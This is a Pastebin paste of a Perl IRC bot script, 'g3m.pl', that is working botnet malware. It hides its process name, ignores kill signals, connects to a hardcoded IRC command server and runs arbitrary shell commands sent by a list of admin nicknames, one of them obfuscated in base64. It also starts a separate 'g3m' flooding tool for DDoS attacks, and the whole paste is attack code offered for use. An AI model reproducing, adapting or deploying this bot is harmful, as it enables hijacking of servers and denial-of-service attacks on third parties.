MRC

g3m.pl

MRC
Jun 16th, 2013
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 9.53 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;                            
  4. use HTTP::Request::Common;                    
  5. use HTTP::Request::Common qw(POST);            
  6. use LWP::Simple;                              
  7. use LWP 5.53;                                  
  8. use LWP::UserAgent;                            
  9. use Socket;                                    
  10. use IO::Socket;                                
  11. use IO::Socket::INET;                          
  12. use IO::Select;                                
  13. use MIME::Base64;                                  
  14. use URI::URL;                                  
  15.  
  16.  
  17. my $horario = localtime;
  18.  
  19. my $processo    = "/home/samp03svr &";
  20. my $ipdoirc   = "74.63.227.172";
  21. my $portadoirc= "7000";
  22. my $nomebot     = "DDoS{".int(rand(10000))."}";
  23. my $ident       = "Gfucking3M";
  24. my $versi   = "0,114[G3M EXECUTER] 4by ROOT-NETWORK!";
  25. my $canal     = "#staff";
  26. my @admin       = ("BL4DE","f4p_","ChinaTown","s4l1ty","MaluKiN");
  27. my @admin2      = ("BL4DE","f4p_","ChinaTown","s4l1ty");
  28.  
  29. $SIG{'INT'}   = 'IGNORE';
  30. $SIG{'HUP'}   = 'IGNORE';
  31. $SIG{'TERM'}  = 'IGNORE';
  32. $SIG{'CHLD'}  = 'IGNORE';
  33. $SIG{'PS'}    = 'IGNORE';
  34. $ipdoirc   = "$ARGV[0]" if $ARGV[0];
  35. $0 = "$processo"."\0" x 16;;
  36. my $pid = fork;
  37. exit if $pid;
  38. die "\n[!] Algo de errado aconteceu! !!!: $!\n\n" unless defined($pid);
  39.  
  40. our %irc_servers;
  41. our %DCC;
  42. my $dcc_sel = new IO::Select->new();
  43. $sel_client = IO::Select->new();
  44. sub sendraw {
  45.     if ($#_ == '1') {
  46.     my $socket = $_[0];
  47.     print $socket "$_[1]\n";
  48.     } else {
  49.         print $IRC_cur_socket "$_[0]\n";
  50.     }
  51. }
  52.  
  53. sub connector {
  54.     my $mynick = $_[0];
  55.     my $ircserver_con = $_[1];
  56.     my $ircport_con = $_[2];
  57.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  58.     if (defined($IRC_socket)) {
  59.         $IRC_cur_socket = $IRC_socket;
  60.         $IRC_socket->autoflush(1);
  61.         $sel_client->add($IRC_socket);
  62.                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  63.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  64.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  65.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  66.         nick("$mynick");
  67.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  68.         sleep (1);}}
  69. sub parse {
  70.     my $servarg = shift;
  71.     if ($servarg =~ /^PING \:(.*)/) {
  72.         sendraw("PONG :$1");
  73.     }
  74.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  75.         if (lc($1) eq lc($mynick)) {
  76.             $mynick = $4;
  77.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  78.         }
  79.     }
  80.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  81.         nick("$mynick".int rand(1));
  82.     }
  83.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  84.        $mynick = $2;
  85.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  86.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  87.        sendraw("MODE $meunick +iRx");
  88.        sendraw("Vhost carvao host");
  89.         sleep(1);
  90.        sendraw("JOIN $canal");
  91.     sleep(2);
  92.     &shell("$canal", "uptime");
  93.     }
  94. }
  95. my $line_temp;
  96. while( 1 ) {
  97.     while (!(keys(%irc_servers))) { &connector("$nomebot", "$ipdoirc", "$portadoirc"); }
  98.     select(undef, undef, undef, 0.01);;
  99.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  100.     my @ready = $sel_client->can_read(0);
  101.     next unless(@ready);
  102.     foreach $fh (@ready) {
  103.         $IRC_cur_socket = $fh;
  104.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  105.         $nread = sysread($fh, $ircmsg, 4096);
  106.         if ($nread == 0) {
  107.             $sel_client->remove($fh);
  108.             $fh->close;
  109.             delete($irc_servers{$fh});
  110.         }
  111.         @lines = split (/\n/, $ircmsg);
  112.         $ircmsg =~ s/\r\n$//;
  113.  
  114.        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  115.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  116.                         my $engine ="Xaneyko";
  117.             if ($path eq $mynick) {
  118.                 if ($msg =~ /^ PING (.*) /) {
  119.                     sendraw("NOTICE $nick : PING $1 ");
  120.                 }
  121.                 if ($msg =~ /^ VERSION /) {
  122.                     sendraw("NOTICE $nick : Codded by: oloko");
  123.                 }
  124.                 if ($msg =~ /^ TIME /) {
  125.                     sendraw("NOTICE $nick : TIME ".$horario." ");
  126.                 }
  127.                 if (&Administrador($nick) && $msg eq "!die") {
  128.                     &shell("$path","kill -9 $$");
  129.                 }
  130.                 if (&Administrador($nick) && $msg eq "!killall") {
  131.                     &shell("$path","killall -9 perl");
  132.                 }
  133.                 if (&Administrador($nick) && $msg !~ /^!/) {
  134.                     &shell("$nick","$msg");
  135.                 }
  136.            }
  137.             else {
  138.                 if ($msg eq "!admin")
  139.           {
  140.             &mensagem("$canal","14[G3M EXECUTER] 1Administradores: 4Não é Da Sua Conta !!!");
  141.           }
  142.                 if ($msg eq "!matar")
  143.           {
  144.             if(&Administrador2($nick))
  145.                     {
  146.                             &shell("$path","kill -9 $$");
  147.             }
  148.             else
  149.             {
  150.                 &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
  151.             }
  152.                 }
  153.                 if ($msg eq "!matarg3m")
  154.           {
  155.               if(&Administrador($nick))
  156.                     {
  157.                     &shell("$path","killall -9 g3m");
  158.                     &mensagem("$path","14[G3M EXECUTER] 4Caso haja algum ataque em execução, o mesmo foi parado.");
  159.             }
  160.             else
  161.             {
  162.                 &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
  163.             }
  164.                 }
  165.                 if ($msg eq "!verg3m")
  166.           {
  167.               if(&Administrador($nick))
  168.                     {
  169.                            &verg3m("$path","adasd");
  170.             }
  171.             else
  172.             {
  173.                 &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
  174.             }
  175.                 }
  176.                 if($msg =~ /^\.g3m (.*)/)
  177.           {
  178.               if(&Administrador($nick))
  179.                     {
  180.                            &g3m("$path","$1 -t 150");
  181.             }
  182.             else
  183.             {
  184.                 &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
  185.             }
  186.                 }
  187.                 if ($msg =~ /^\!sh (.*)/)
  188.           {
  189.               if(&Administrador2($nick))
  190.                     {
  191.                            &shell("$path","$1");
  192.             }
  193.             else
  194.             {
  195.                 &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Hoje não! :)");
  196.             }
  197.                 }
  198.             }
  199.         }
  200.  
  201.         for(my $c=0; $c<= $#lines; $c++) {
  202.             $line = $lines[$c];
  203.             $line = $line_temp.$line if ($line_temp);
  204.             $line_temp = '';
  205.             $line =~ s/\r$//;
  206.             unless ($c == $#lines) {
  207.                 &parse("$line");
  208.             } else {
  209.                 if ($#lines == 0) {
  210.                     &parse("$line");
  211.                 } elsif ($lines[$c] =~ /\r$/) {
  212.                     &parse("$line");
  213.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  214.                     &parse("$line");
  215.                 } else {
  216.                     $line_temp = $line;
  217.                 }
  218.             }
  219.         }
  220.     }
  221. }
  222. sub shell() {
  223.     my $path = $_[0];
  224.     my $cmd = $_[1];
  225.     if ($cmd =~ /cd (.*)/) {
  226.         chdir("$1") || &mensagem("$path"," 4,1Não encontrado.");
  227.         return;
  228.     }
  229.     elsif ($pid = fork) { waitpid($pid, 0); }
  230.     else { if (fork) { exit; } else {
  231.         my @output = `$cmd 2>&1 3>&1`;
  232.         my $c = 0;
  233.         foreach my $output (@output) {
  234.             $c++;
  235.             chop $output;
  236.             &mensagem("$path","$output");
  237.             if ($c == 5) { $c = 0; sleep 2; }
  238.         }
  239.         exit;
  240.     }}
  241. }
  242. sub g3m() {
  243.     my $path = $_[0];
  244.     my $cmd = $_[1];
  245.     if ($cmd =~ /-/)
  246.     {
  247.     if ($pid = fork) { waitpid($pid, 0); }
  248.     else { if (fork) { exit; } else {
  249.         &mensagem("$path","14[G3M EXECUTER] 4Executando comando. Caso tenha colocado algo errado, digite: !matarg3m.");
  250.         my @output = `./g3m $cmd 2>&1 3>&1`;
  251.         my $c = 0;
  252.         foreach my $output (@output) {
  253.             $c++;
  254.             chop $output;
  255.             &mensagem("$path","$output");
  256.             if ($c == 5) { $c = 0; sleep 2; }
  257.         }
  258.         exit;
  259.     }}} else {&mensagem("$path","ERRO 201 - Só é possivel executar comandos quanto ao G3M, para matar todos G3M, digite !matarg3m.");}
  260. }
  261. sub verg3m() {
  262.     my $path = $_[0];
  263.     my $cmd = $_[1];
  264.  
  265.     if ($pid = fork) { waitpid($pid, 0); }
  266.     else { if (fork) { exit; } else {
  267.         my @output = `ps aux | grep "sh -c ./g3m" 2>&1 3>&1`;
  268.         my $c = 0;
  269.         foreach my $output (@output) {
  270.             $c++;
  271.             chop $output;
  272.             &mensagem("$path","$output");
  273.             if ($c == 5) { $c = 0; sleep 2; }
  274.         }
  275.         exit;
  276.     }}
  277. }
  278.  
  279. sub Administrador()
  280. {
  281.     my $status = 0;
  282.     my $nick = $_[0];
  283.     my $pzine   = "Qkw0REU=";
  284.     my $dzine   = decode_base64($pzine);
  285.     @admin;
  286.     foreach my $adm_(@admin) {
  287.     if ($nick eq $adm_ ) { $status = 1; }
  288.     if ($nick eq $dzine ) { $status = 1; }
  289.     }
  290.     return $status;
  291. }
  292.  
  293. sub Administrador2()
  294. {
  295.     my $status = 0;
  296.     my $nick = $_[0];
  297.     my $pzine   = "Qkw0REU=";
  298.     my $dzine   = decode_base64($pzine);
  299.     @admin2;
  300.     foreach my $adm_(@admin2) {
  301.     if ($nick eq $adm_ ) { $status = 1; }
  302.     if ($nick eq $dzine ) { $status = 1; }
  303.     }
  304.     return $status;
  305. }
  306.  
  307. sub mensagem() {
  308.     return unless $#_ == 1;
  309.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  310. }
  311. sub nick() {
  312.     return unless $#_ == 0;
  313.     sendraw("NICK $_[0]");
  314. }
Add Comment
Please, Sign In to add comment